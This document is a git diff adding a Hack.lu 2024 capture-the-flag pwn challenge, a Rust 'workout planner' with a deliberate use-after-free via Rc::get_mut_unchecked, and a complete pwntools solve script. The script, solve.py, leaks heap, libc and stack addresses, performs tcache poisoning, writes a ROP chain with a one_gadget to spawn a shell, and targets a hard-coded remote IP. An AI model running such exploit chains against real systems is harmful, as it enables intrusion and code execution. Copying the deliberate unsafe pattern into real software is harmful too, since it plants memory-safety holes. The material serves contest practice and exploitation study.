summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--.gitignore2
-rw-r--r--blazing-fast-workout-planner_public/Cargo.lock7
-rw-r--r--blazing-fast-workout-planner_public/Cargo.toml6
-rw-r--r--blazing-fast-workout-planner_public/Dockerfile37
-rw-r--r--blazing-fast-workout-planner_public/flag.txt1
-rwxr-xr-xblazing-fast-workout-planner_public/for-your-convenience/challbin0 -> 4511440 bytes
-rwxr-xr-xblazing-fast-workout-planner_public/for-your-convenience/libc.so.6bin0 -> 2125328 bytes
-rw-r--r--blazing-fast-workout-planner_public/rust-toolchain.toml5
-rw-r--r--blazing-fast-workout-planner_public/src/main.rs129
-rwxr-xr-xblazing-fast-workout-planner_public/waitdbgbin0 -> 771536 bytes
-rwxr-xr-xblazing-fast-workout-planner_public/ynetdbin0 -> 34792 bytes
-rw-r--r--docker-compose.yml12
-rwxr-xr-xexebin0 -> 4511440 bytes
-rwxr-xr-xexe_dockerbin0 -> 4511440 bytes
-rwxr-xr-xlibc.so.6bin0 -> 2125328 bytes
-rw-r--r--solve.py205
-rw-r--r--src/main.rs129
17 files changed, 533 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..e6e02c8
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,2 @@
+.gdb_history
+target
diff --git a/blazing-fast-workout-planner_public/Cargo.lock b/blazing-fast-workout-planner_public/Cargo.lock
new file mode 100644
index 0000000..30162e1
--- /dev/null
+++ b/blazing-fast-workout-planner_public/Cargo.lock
@@ -0,0 +1,7 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 3
+
+[[package]]
+name = "blazing_fast_workout_planner"
+version = "0.1.0"
diff --git a/blazing-fast-workout-planner_public/Cargo.toml b/blazing-fast-workout-planner_public/Cargo.toml
new file mode 100644
index 0000000..2bcd488
--- /dev/null
+++ b/blazing-fast-workout-planner_public/Cargo.toml
@@ -0,0 +1,6 @@
+[package]
+name = "blazing_fast_workout_planner"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
diff --git a/blazing-fast-workout-planner_public/Dockerfile b/blazing-fast-workout-planner_public/Dockerfile
new file mode 100644
index 0000000..b3e02a4
--- /dev/null
+++ b/blazing-fast-workout-planner_public/Dockerfile
@@ -0,0 +1,37 @@
+# To run this challenge locally,
+# (1) build the Docker container
+# docker build -t hacklu2024/blazing-fast-workout-planner .
+# (2) run the Docker container
+# docker run --cap-add SYS_ADMIN --security-opt apparmor=unconfined --rm -p 127.0.0.1:1024:1024 -ti hacklu2024/blazing-fast-workout-planner
+# and connect to localhost:1024
+
+FROM rust:latest AS builder
+
+RUN mkdir /src
+
+COPY ./ /src
+
+RUN cd /src && cargo build
+
+FROM ubuntu@sha256:d4f6f70979d0758d7a6f81e34a61195677f4f4fa576eaf808b79f17499fd93d1
+
+RUN apt update -y && DEBIAN_FRONTEND=noninteractive apt install -y gdb rustup git
+RUN rustup toolchain add nightly-2024-09-09 || :
+RUN cd /tmp && git clone https://github.com/pwndbg/pwndbg.git && cd pwndbg && bash setup.sh
+
+RUN useradd --no-create-home --shell /bin/bash ctf
+
+COPY ynetd /sbin/ynetd
+
+COPY flag.txt /flag.txt
+
+COPY --from=builder /src/target/debug/blazing_fast_workout_planner /chall
+
+RUN chown -R root:root /sbin && \
+ chown root:root /flag.txt && \
+ chown root:root /chall && \
+ chmod 744 /flag.txt && \
+ chmod 755 /chall
+
+SHELL ["/bin/sh", "-c"]
+CMD ynetd -lt 15 -t 0 -lm 268435456 -lpid 128 -sh n -d / /chall
diff --git a/blazing-fast-workout-planner_public/flag.txt b/blazing-fast-workout-planner_public/flag.txt
new file mode 100644
index 0000000..aab0282
--- /dev/null
+++ b/blazing-fast-workout-planner_public/flag.txt
@@ -0,0 +1 @@
+flag{n0t_s0_s4f3_4ft3r4ll}
diff --git a/blazing-fast-workout-planner_public/for-your-convenience/chall b/blazing-fast-workout-planner_public/for-your-convenience/chall
new file mode 100755
index 0000000..d12f42c
--- /dev/null
+++ b/blazing-fast-workout-planner_public/for-your-convenience/chall
Binary files differ
diff --git a/blazing-fast-workout-planner_public/for-your-convenience/libc.so.6 b/blazing-fast-workout-planner_public/for-your-convenience/libc.so.6
new file mode 100755
index 0000000..4b60044
--- /dev/null
+++ b/blazing-fast-workout-planner_public/for-your-convenience/libc.so.6
Binary files differ
diff --git a/blazing-fast-workout-planner_public/rust-toolchain.toml b/blazing-fast-workout-planner_public/rust-toolchain.toml
new file mode 100644
index 0000000..1bf3dc3
--- /dev/null
+++ b/blazing-fast-workout-planner_public/rust-toolchain.toml
@@ -0,0 +1,5 @@
+[toolchain]
+channel = "nightly-2024-09-09"
+components = [ "cargo", "rustc", "rust-std" ]
+targets = [ "x86_64-unknown-linux-gnu" ]
+profile = "minimal"
diff --git a/blazing-fast-workout-planner_public/src/main.rs b/blazing-fast-workout-planner_public/src/main.rs
new file mode 100644
index 0000000..7dca719
--- /dev/null
+++ b/blazing-fast-workout-planner_public/src/main.rs
@@ -0,0 +1,129 @@
+#![feature(get_mut_unchecked)]
+
+use std::collections::BTreeMap;
+use std::io::{self, Read, Stdin, Stdout, Write};
+use std::iter::RepeatN;
+use std::rc::Rc;
+
+struct InputHelper {
+ stdin: Stdin,
+ stdout: Stdout,
+ buf: Vec<u8>,
+}
+
+impl InputHelper {
+ fn with_capacity(cap: usize) -> Self {
+ let stdin = io::stdin();
+ let stdout = io::stdout();
+ Self {
+ stdin,
+ stdout,
+ buf: vec![0u8; cap],
+ }
+ }
+
+ fn ask(&mut self, msg: &str) -> &[u8] {
+ self.stdout.write(msg.as_bytes()).unwrap();
+ self.stdout.write(b"\n").unwrap();
+ let len = self.stdin.read(&mut self.buf).unwrap();
+ &self.buf[..len].trim_ascii()
+ }
+
+ fn ask_num(&mut self, msg: &str) -> i64 {
+ let buf = self.ask(msg);
+ std::str::from_utf8(buf).unwrap().parse().unwrap()
+ }
+}
+
+#[derive(Debug)]
+struct Exercise {
+ name: Vec<u8>,
+ description: Vec<u8>,
+}
+
+#[derive(Debug, Clone)]
+struct Workout {
+ exercises: Vec<RepeatN<Rc<Exercise>>>,
+}
+
+fn main() {
+ let mut exercises = BTreeMap::new();
+ let mut workouts = Vec::new();
+
+ let mut input = InputHelper::with_capacity(0x100);
+
+ println!("Welcome to your personal training helper! Here are your options:");
+ loop {
+ println!("1. : add a new exercise to your portfolio");
+ println!("2. : plan a new workout");
+ println!("3. : start a training session");
+ println!("4. : edit an exercise");
+ println!("5. : exit the app");
+
+ let line = input.ask("Choose an option: ").trim_ascii();
+ match &*line {
+ b"1" => {
+ let name = input.ask("What's the name of your exercise? ").to_owned();
+
+ let description = input
+ .ask("what is the description of your exercise? ")
+ .to_owned();
+
+ let name2 = name.clone();
+ let exercise: Exercise = Exercise { name, description };
+ exercises.insert(name2, Rc::new(exercise));
+ println!("Exercise added!");
+ }
+ b"2" => {
+ let num_exercises = input.ask_num("How many exercises should your workout have? ");
+ let mut workout = Workout {
+ exercises: Vec::new(),
+ };
+
+ for _ in 0..num_exercises {
+ let name = input.ask("Enter the name of the exercise: ");
+ if let Some(exercise) = exercises.get(name) {
+ let num_repetitions =
+ input.ask_num("How many times should your exercise be repeated? ");
+ workout.exercises.push(std::iter::repeat_n(
+ Rc::clone(exercise),
+ num_repetitions as usize,
+ ));
+ } else {
+ println!("No exercise found with that name.");
+ }
+ }
+
+ println!("Your workout has id {}", workouts.len());
+ workouts.push(workout);
+ }
+ b"3" => {
+ let id = input.ask_num("what's the id of your workout? ");
+
+ let workout = &workouts[id as usize];
+
+ for exercise in workout.exercises.iter().cloned() {
+ for ex in exercise {
+ println!("{:?} - {:?}", ex.name, ex.description); // pls help, this looks weird :(
+ }
+ }
+ }
+ b"4" => {
+ let name = input.ask("Enter the name of the exercise you want to edit: ");
+ if let Some(exercise) = exercises.get_mut(name) {
+ let description = input.ask("Enter the new description: ");
+ unsafe {
+ Rc::get_mut_unchecked(exercise)
+ .description
+ .copy_from_slice(description)
+ }
+ println!("Exercise updated!");
+ } else {
+ println!("No exercise found with that name.");
+ }
+ }
+ b"5" => break,
+ _ => println!("That was not a valid option"),
+ }
+ }
+}
diff --git a/blazing-fast-workout-planner_public/waitdbg b/blazing-fast-workout-planner_public/waitdbg
new file mode 100755
index 0000000..f9252f0
--- /dev/null
+++ b/blazing-fast-workout-planner_public/waitdbg
Binary files differ
diff --git a/blazing-fast-workout-planner_public/ynetd b/blazing-fast-workout-planner_public/ynetd
new file mode 100755
index 0000000..03f986a
--- /dev/null
+++ b/blazing-fast-workout-planner_public/ynetd
Binary files differ
diff --git a/docker-compose.yml b/docker-compose.yml
new file mode 100644
index 0000000..7be6875
--- /dev/null
+++ b/docker-compose.yml
@@ -0,0 +1,12 @@
+services:
+ workout_planner:
+ build: ./blazing-fast-workout-planner_public
+ ports:
+ - "1024:1024"
+ security_opt:
+ - apparmor:unconfined
+ cap_add:
+ - SYS_ADMIN
+ volumes:
+ - ./blazing-fast-workout-planner_public/src:/source
+
diff --git a/exe b/exe
new file mode 100755
index 0000000..d12f42c
--- /dev/null
+++ b/exe
Binary files differ
diff --git a/exe_docker b/exe_docker
new file mode 100755
index 0000000..d12f42c
--- /dev/null
+++ b/exe_docker
Binary files differ
diff --git a/libc.so.6 b/libc.so.6
new file mode 100755
index 0000000..4b60044
--- /dev/null
+++ b/libc.so.6
Binary files differ
diff --git a/solve.py b/solve.py
new file mode 100644
index 0000000..61b175a
--- /dev/null
+++ b/solve.py
@@ -0,0 +1,205 @@
+from os import kill
+from signal import SIGKILL
+from pwn import *
+from ast import literal_eval
+from pwnlib.gdb import psutil
+
+
+def add_exercise(io, name, description):
+ io.readuntil(b"Choose an option: ")
+ io.sendline(b"1")
+ io.readuntil(b"What's the name")
+ io.sendline(name)
+ io.readuntil(b"what is the description")
+ io.sendline(description)
+
+
+def add_workout(io, exercises):
+ io.readuntil(b"Choose an option: ")
+ io.sendline(b"2")
+ io.readuntil(b"How many exercises")
+ io.sendline(str(len(exercises)).encode())
+ for name,count in exercises:
+ io.readuntil(b"Enter the name")
+ io.sendline(name)
+ io.readuntil(b"How many times")
+ io.sendline(str(count).encode())
+ io.readuntil(b"Your workout has id ")
+ return int(io.readline())
+
+
+def show_workout(io, wid):
+ io.readuntil(b"Choose an option: ")
+ io.sendline(b"3")
+ io.readuntil(b"what's the id of your workout? \n")
+ io.sendline(str(wid).encode())
+ exercises = []
+ while True:
+ line = io.readline()
+ if b" - " not in line:
+ io.unrecv(line)
+ break
+ parts = line.decode().strip().split(" - ")
+ name, description = map(bytes, map(literal_eval, parts))
+ exercises.append((name, description))
+ return exercises
+
+
+def edit_exercise(io, name, description):
+ io.readuntil(b"Choose an option: ")
+ io.sendline(b"4")
+ io.readuntil(b"Enter the name")
+ io.sendline(name)
+ io.readuntil(b"Enter the new description")
+ io.sendline(description)
+
+
+def bp(io):
+ io.readuntil(b"Choose an option: ")
+ io.sendline(b"break")
+ io.unread(io.readuntil(b"Choose"))
+
+
+def leave(io):
+ io.readuntil(b"Choose an option: ")
+ io.sendline(b"5")
+ io.close()
+
+
+def unmask(p):
+ for o in range(48, 0, -12):
+ p ^= ((p >> o) & 0xfff) << (o - 12)
+ return p
+
+
+def run():
+ attach_pid = None
+ if args.REMOTE:
+ io = remote("162.55.187.21", 1024)
+ elif args.DOCKER:
+ io = remote("localhost", 1024)
+ if args.ATTACH:
+ io.unread(io.readuntil(b"Choose"))
+ pid = next(p.pid for p in psutil.process_iter() if p.cmdline() == ["/chall"])
+ attach_pid = run_in_new_terminal(f"sudo nsenter -t {pid} -a sh -c \"rustup run nightly-2024-09-09 rust-gdb -p \\$(pidof chall) -ex 'directory /source' -ex 'b src/main.rs:126' -ex 'c'\"", kill_at_exit=False)
+ input()
+ else:
+ io = process("./exe")
+ if args.ATTACH:
+ io.unread(io.readuntil(b"Choose"))
+ attach_pid = run_in_new_terminal(f"rustup run nightly-2024-09-09 rust-gdb -ex 'file exe' -ex 'b src/main.rs:126' -ex 'c' -p {io.proc.pid}", kill_at_exit=False)
+ sleep(3)
+
+ # structure sizes and layouts:
+ # - vec: 0x18 size (cap | ptr | len)
+ # - rc<excercise>: 0x40 size (strong | weak | name_vec | desc_vec)
+ # - repeat_n: 0x10 size (ptr | count)
+ # - workout: 0x18 size (vec)
+
+ # vec defaults to cap = 4, as such:
+ # - vec<repeat_n>.inner.ptr: 0x10 * 4 = 0x40
+ # - vec<workout>.inner.ptr: 0x18 * 4 = 0x60
+
+ print("START")
+
+ # setup UAF for rc<excercise>
+ add_exercise(io, b"0", b"A")
+ old = add_workout(io, [(b"0", 0)])
+ add_exercise(io, b"0", b"B")
+
+ # add workout (vec<repeat_n>), this fills UAF chunk (same size 0x40).
+ # later, because of repeat_n layout, we can increment repeat_n pointer by
+ # incrementing the old rc<excercise> via UAF.
+ new = add_workout(io, [(b"0", 1)])
+
+ # to leak libc we create a new excercise and free it..
+ add_exercise(io, b"1" * 0x10, b"C" * 0x40) # 0x40 important later for fake excercise
+ add_exercise(io, b"1" * 0x10, b"D")
+
+ # ..then we point the old repeat pointer to the newly freed excercise.
+ # the excercise's name and description vec are still valid because
+ # insert returns the old value so old exercise is dropped / freed last.
+ for i in range(0x50 + 0x50):
+ show_workout(io, old)
+
+ # show_workout now gives the fd_ptr field of both free'd name and
+ # description chunks of the new exercise, thereby leaking heap aslr.
+ name, _ = show_workout(io, new)[0]
+ heap_leak = u64(name[:8])
+ tcache_key = name[8:16]
+ heap_base = (unmask(heap_leak) & ~0xfff) - 0x3000
+ print("HEAP", hex(heap_base))
+
+ # now that we know heap_base, we can replace the freed excercise with
+ # a fake one and use show_workout to do arbitrary read.
+
+ # first we leak libc..
+ fake = p64(1) + p64(1) # strong and weak count
+ fake += p64(0x8) + p64(heap_base + 0x308) + p64(0x8) # name vec
+ fake += p64(0x8) + p64(heap_base + 0x308) + p64(0x8) # desc vec
+ add_exercise(io, b"2", fake)
+ libc_leak = u64(show_workout(io, new)[0][0][:8])
+ libc_base = (libc_leak & ~0xfff) - 0x204000
+ print("LIBC", hex(libc_base))
+
+ # reshuffle tcache
+ add_exercise(io, b"2", b"E")
+ add_exercise(io, b"2", b"E" * 0x40)
+ add_exercise(io, b"2", b"E")
+
+ # ..then we leak stack.
+ fake = p64(1) + p64(1) # strong and weak count
+ fake += p64(0x8) + p64(libc_base - 0x3000 + 0xa80) + p64(0x8) # name vec
+ fake += p64(0x8) + p64(libc_base - 0x3000 + 0xa80) + p64(0x8) # desc vec
+ add_exercise(io, b"2", fake)
+ stack_leak = u64(show_workout(io, new)[0][0][:8])
+ print("STACK LEAK", hex(stack_leak))
+
+ # setup another UAF for rc<excercise>. here we craft a fake free chunk
+ # to perform tcache poisoning and write our rop gadget onto the stack.
+ # after the UAF excercise is fully dropped by replacing it in the btree,
+ # the freed exercise chunk is first in the tcache bin (0x50) and the bin
+ # has more than 2 entries, allowing us to fake the third entry.
+ # (we actually need this to generate exactly 3 tcache entries because
+ # we always need an exercise chunk (0x50) last and if we have > 3 the
+ # last fd ptr will not be valid)
+ one_gadget = libc_base + 0xef4ce
+ rop_clear_rbx = libc_base + 0x586d4
+ rop_clear_r12 = libc_base + 0x110951
+ ret_addr = stack_leak - 0xa00
+ fd_addr = heap_base + 0x3270
+ fd_dest = heap_base + 0x31d0
+ fake = b"3" * 0x10 + p64(ret_addr ^ ((fd_dest + 0x10) >> 12)) + tcache_key
+ fake += b"3" * (0x40 - len(fake))
+ add_exercise(io, fake, b"G")
+ final = add_workout(io, [(fake, 0)])
+ add_exercise(io, fake, b"G")
+
+ # use increment to change fd pointer to fake chunk.
+ fd_curr = fd_dest ^ (fd_addr >> 12)
+ fd_next = (fd_dest + 0x10) ^ (fd_addr >> 12)
+ print("FD", hex(fd_curr), hex(fd_next))
+ if fd_next < fd_curr:
+ io.close()
+ if attach_pid is not None:
+ kill(attach_pid, SIGKILL)
+ sleep(1)
+ return False
+ for i in range(fd_curr, fd_next):
+ show_workout(io, final)
+ add_exercise(io, b"4", b"H" * 0x40) # consume first two 0x50 chunks
+ bp(io)
+ rop = p64(0) + p64(rop_clear_r12) + p64(0) + p64(rop_clear_rbx) + p64(0) + p64(one_gadget)
+ rop += (0x40 - len(rop)) * b"I"
+ assert b"\n" not in rop
+ add_exercise(io, b"5", rop)
+
+ io.sendline(b"cat flag.txt")
+
+ io.interactive()
+
+ return True
+
+
+while not run():
+ pass
diff --git a/src/main.rs b/src/main.rs
new file mode 100644
index 0000000..7dca719
--- /dev/null
+++ b/src/main.rs
@@ -0,0 +1,129 @@
+#![feature(get_mut_unchecked)]
+
+use std::collections::BTreeMap;
+use std::io::{self, Read, Stdin, Stdout, Write};
+use std::iter::RepeatN;
+use std::rc::Rc;
+
+struct InputHelper {
+ stdin: Stdin,
+ stdout: Stdout,
+ buf: Vec<u8>,
+}
+
+impl InputHelper {
+ fn with_capacity(cap: usize) -> Self {
+ let stdin = io::stdin();
+ let stdout = io::stdout();
+ Self {
+ stdin,
+ stdout,
+ buf: vec![0u8; cap],
+ }
+ }
+
+ fn ask(&mut self, msg: &str) -> &[u8] {
+ self.stdout.write(msg.as_bytes()).unwrap();
+ self.stdout.write(b"\n").unwrap();
+ let len = self.stdin.read(&mut self.buf).unwrap();
+ &self.buf[..len].trim_ascii()
+ }
+
+ fn ask_num(&mut self, msg: &str) -> i64 {
+ let buf = self.ask(msg);
+ std::str::from_utf8(buf).unwrap().parse().unwrap()
+ }
+}
+
+#[derive(Debug)]
+struct Exercise {
+ name: Vec<u8>,
+ description: Vec<u8>,
+}
+
+#[derive(Debug, Clone)]
+struct Workout {
+ exercises: Vec<RepeatN<Rc<Exercise>>>,
+}
+
+fn main() {
+ let mut exercises = BTreeMap::new();
+ let mut workouts = Vec::new();
+
+ let mut input = InputHelper::with_capacity(0x100);
+
+ println!("Welcome to your personal training helper! Here are your options:");
+ loop {
+ println!("1. : add a new exercise to your portfolio");
+ println!("2. : plan a new workout");
+ println!("3. : start a training session");
+ println!("4. : edit an exercise");
+ println!("5. : exit the app");
+
+ let line = input.ask("Choose an option: ").trim_ascii();
+ match &*line {
+ b"1" => {
+ let name = input.ask("What's the name of your exercise? ").to_owned();
+
+ let description = input
+ .ask("what is the description of your exercise? ")
+ .to_owned();
+
+ let name2 = name.clone();
+ let exercise: Exercise = Exercise { name, description };
+ exercises.insert(name2, Rc::new(exercise));
+ println!("Exercise added!");
+ }
+ b"2" => {
+ let num_exercises = input.ask_num("How many exercises should your workout have? ");
+ let mut workout = Workout {
+ exercises: Vec::new(),
+ };
+
+ for _ in 0..num_exercises {
+ let name = input.ask("Enter the name of the exercise: ");
+ if let Some(exercise) = exercises.get(name) {
+ let num_repetitions =
+ input.ask_num("How many times should your exercise be repeated? ");
+ workout.exercises.push(std::iter::repeat_n(
+ Rc::clone(exercise),
+ num_repetitions as usize,
+ ));
+ } else {
+ println!("No exercise found with that name.");
+ }
+ }
+
+ println!("Your workout has id {}", workouts.len());
+ workouts.push(workout);
+ }
+ b"3" => {
+ let id = input.ask_num("what's the id of your workout? ");
+
+ let workout = &workouts[id as usize];
+
+ for exercise in workout.exercises.iter().cloned() {
+ for ex in exercise {
+ println!("{:?} - {:?}", ex.name, ex.description); // pls help, this looks weird :(
+ }
+ }
+ }
+ b"4" => {
+ let name = input.ask("Enter the name of the exercise you want to edit: ");
+ if let Some(exercise) = exercises.get_mut(name) {
+ let description = input.ask("Enter the new description: ");
+ unsafe {
+ Rc::get_mut_unchecked(exercise)
+ .description
+ .copy_from_slice(description)
+ }
+ println!("Exercise updated!");
+ } else {
+ println!("No exercise found with that name.");
+ }
+ }
+ b"5" => break,
+ _ => println!("That was not a valid option"),
+ }
+ }
+}